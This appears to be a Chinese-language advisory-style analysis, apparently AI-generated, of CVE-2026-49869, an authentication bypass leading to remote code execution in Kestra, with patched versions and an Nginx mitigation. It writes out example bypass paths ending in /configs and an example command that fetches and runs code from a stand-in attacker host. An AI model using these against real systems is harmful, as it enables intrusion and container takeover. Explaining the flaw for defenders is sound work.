🔴 严重 | CVE-2026-49869 — Kestra is an open-source, event-driven orchestrati...
🔴 【深度分析】严重安全漏洞:CVE-2026-49869
CVSS 评分: 严重(10.0)🔴 状态: Received 发布时间: 2026-06-26
🔍 技术细节速览
| 字段 | 值 |
|---|---|
| CVE ID | CVE-2026-49869 |
| CVSS 评分 | 10.0 🔴 |
| 严重程度 | 严重 |
| CVSS 向量 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H |
| CWE 分类 | CWE-78,CWE-184,CWE-287,CWE-918 |
| 发布时间 | 2026-06-26 |
| 最后更新 | 2026-06-26 |
| 状态 | Received |
| 数据来源 | security-advisories@github.com |
好的,作为一名资深网络安全分析师,我将基于您提供的 NVD 数据,为您生成一篇关于 CVE-2026-49869 的深度分析文章。
深度安全分析:CVE-2026-49869 — Kestra 认证绕过致远程代码执行漏洞
⚠️ 严重警告 ⚠️
CVSS 评分:10.0 (CRITICAL)
危害等级:严重
攻击向量:网络远程 (AV:N)
攻击复杂度:低 (AC:L)
所需权限:无 (PR:N)
用户交互:无 (UI:N)
影响范围:机密性、完整性、可用性均完全丧失 (C:H/I:H/A:H)
漏洞概述
CVE-2026-49869 是一个存在于 Kestra 开源事件驱动编排平台中的严重安全漏洞。该漏洞的核心问题在于其认证过滤器(AuthenticationFilter)存在一个不安全的路径匹配逻辑,导致攻击者可以完全绕过身份验证,进而实现未经授权的远程代码执行(RCE)。
具体来说,Kestra 的认证过滤器使用 request.getPath().endsWith("/configs") 来白名单化公开的配置端点。由于这是一个后缀匹配而非精确路径匹配,任何以 /configs 结尾的 API 路径都会被错误地视为无需认证。攻击者可以构造特制的 API 请求,利用此缺陷绕过所有认证检查,并利用 Kestra 默认启用的脚本执行插件(如 plugin-script-shell、plugin-script-python)在 Kestra Worker 容器内以 root 权限执行任意命令。
该漏洞影响 Kestra 1.0.45 和 1.3.21 之前的所有版本。
受影响组件与版本
- 受影响软件: Kestra 开源版 (OSS)
- 影响版本:
- 所有低于 1.0.45 的 1.0.x 版本
- 所有低于 1.3.21 的 1.3.x 版本
- 不受影响版本:
- 1.0.45
- 1.3.21
漏洞原理分析
该漏洞由多个安全弱点组合而成,核心在于认证绕过(CWE-287)和路径匹配逻辑缺陷(CWE-184)。
认证绕过(CWE-287, CWE-184):
- Kestra 的
AuthenticationFilter负责拦截所有 API 请求并进行身份验证。 - 为了允许未认证用户访问公开的配置端点(例如
/api/v1/configs),开发者使用了request.getPath().endsWith("/configs")作为白名单判断条件。 - 这个判断逻辑存在严重缺陷。
endsWith()方法仅检查请求路径是否以/configs结尾,而不检查路径的完整结构。 - 攻击者可以构造一个恶意路径,例如
/api/v1/executions/evil/configs或/some/arbitrary/path/configs。由于该路径以/configs结尾,AuthenticationFilter会错误地认为这是一个公开端点,从而完全跳过认证过程。
- Kestra 的
远程代码执行(CWE-78):
- 一旦绕过认证,攻击者就可以访问 Kestra 中所有需要认证的 API 端点。
- Kestra 的核心功能是执行工作流,并且默认集成了脚本执行插件(如
plugin-script-shell)。这些插件允许在工作流中定义和执行系统命令或脚本。 - 攻击者可以利用绕过认证后的 API 权限,创建一个恶意工作流。该工作流可以包含一个简单的脚本任务,例如执行
bash -c '反弹shell'或curl attacker.com/malware | sh。 - 当 Kestra 调度并执行这个恶意工作流时,脚本会在 Kestra Worker 容器内以 root 权限运行,从而实现完全的远程代码执行。
攻击向量总结:
- 构造恶意请求:攻击者向 Kestra API 服务器发送一个 HTTP 请求,其路径以
/configs结尾,但实际意图是访问其他受保护的 API(如创建工作流)。 - 绕过认证:由于
endsWith("/configs")的缺陷,请求被错误地放行。 - 创建恶意工作流:攻击者利用被放行的 API 权限,创建一个包含恶意脚本命令的工作流。
- 触发执行:攻击者触发该工作流的执行。
- 获得控制权:Kestra Worker 执行恶意脚本,攻击者获得容器内的 root 权限。
影响评估
根据 CVSS 向量 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H,我们可以进行如下评估:
- 攻击复杂度 (AC:L):漏洞利用极其简单。攻击者只需要发送一个精心构造的 HTTP 请求,无需任何特殊技巧或条件。
- 所需权限 (PR:N):攻击者无需任何有效的用户凭证或系统访问权限。
- 用户交互 (UI:N):漏洞利用完全在攻击者端完成,无需受害者(如 Kestra 管理员)进行任何点击或操作。
- 影响范围 (S:C):漏洞影响 Kestra 的核心安全机制(认证),其影响会波及到整个平台,包括所有工作流、数据和执行环境。
- 机密性、完整性、可用性 (C:H/I:H/A:H):成功利用后,攻击者可以读取、修改或删除 Kestra 平台上的所有数据(机密性、完整性),并可以控制 Worker 容器执行任意操作,导致服务完全瘫痪(可用性)。
实际威胁:
- 极高。这是一个“一键式”的远程代码执行漏洞,且利用条件极低。任何暴露在公网或内网中的未打补丁的 Kestra 实例都面临被完全控制的风险。
- 攻击者可以窃取工作流中处理的敏感数据(如数据库密码、API 密钥),植入后门,横向移动到其他内部系统,或利用 Worker 的计算资源进行挖矿等恶意活动。
修复建议
官方补丁(强烈推荐)
立即将 Kestra 升级到以下修复版本:
- 1.0.45
- 1.3.21
官方已修复了 AuthenticationFilter 中的路径匹配逻辑,改为使用精确路径匹配或更安全的验证方式。
临时缓解措施(在无法立即升级时)
- 网络隔离:立即将 Kestra API 服务器和 Worker 容器置于防火墙或安全组之后,严格限制来自不可信网络的访问。仅允许受信任的管理员 IP 地址访问 Kestra API。
- 反向代理:在 Kestra 前端部署反向代理(如 Nginx, Apache, HAProxy)。在代理层编写严格的访问控制规则,拒绝任何路径以
/configs结尾但实际并非指向/api/v1/configs的请求。例如,在 Nginx 中可以添加如下规则:location ~* /configs$ { # 仅允许精确匹配 /api/v1/configs 的请求 if ($request_uri !~ ^/api/v1/configs(\?.*)?$) { return 403; } proxy_pass http://kestra_backend; } - 禁用脚本执行插件:如果业务上允许,可以临时禁用
plugin-script-shell、plugin-script-python等脚本执行插件。但这可能会影响正常的工作流执行,且无法根除认证绕过带来的其他风险(如数据泄露)。
参考资料
- CVE 详情页 (NVD): https://nvd.nist.gov/vuln/detail/CVE-2026-49869
- CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
- CWE-184: Incomplete List of Disallowed Inputs
- CWE-287: Improper Authentication
- CWE-918: Server-Side Request Forgery (SSRF) (相关,因为认证绕过后可能被用于 SSRF)
- Kestra 官方安全公告: (请关注 Kestra 官方 GitHub 仓库或安全公告页面获取最新信息)
- Kestra 项目地址: https://github.com/kestra-io/kestra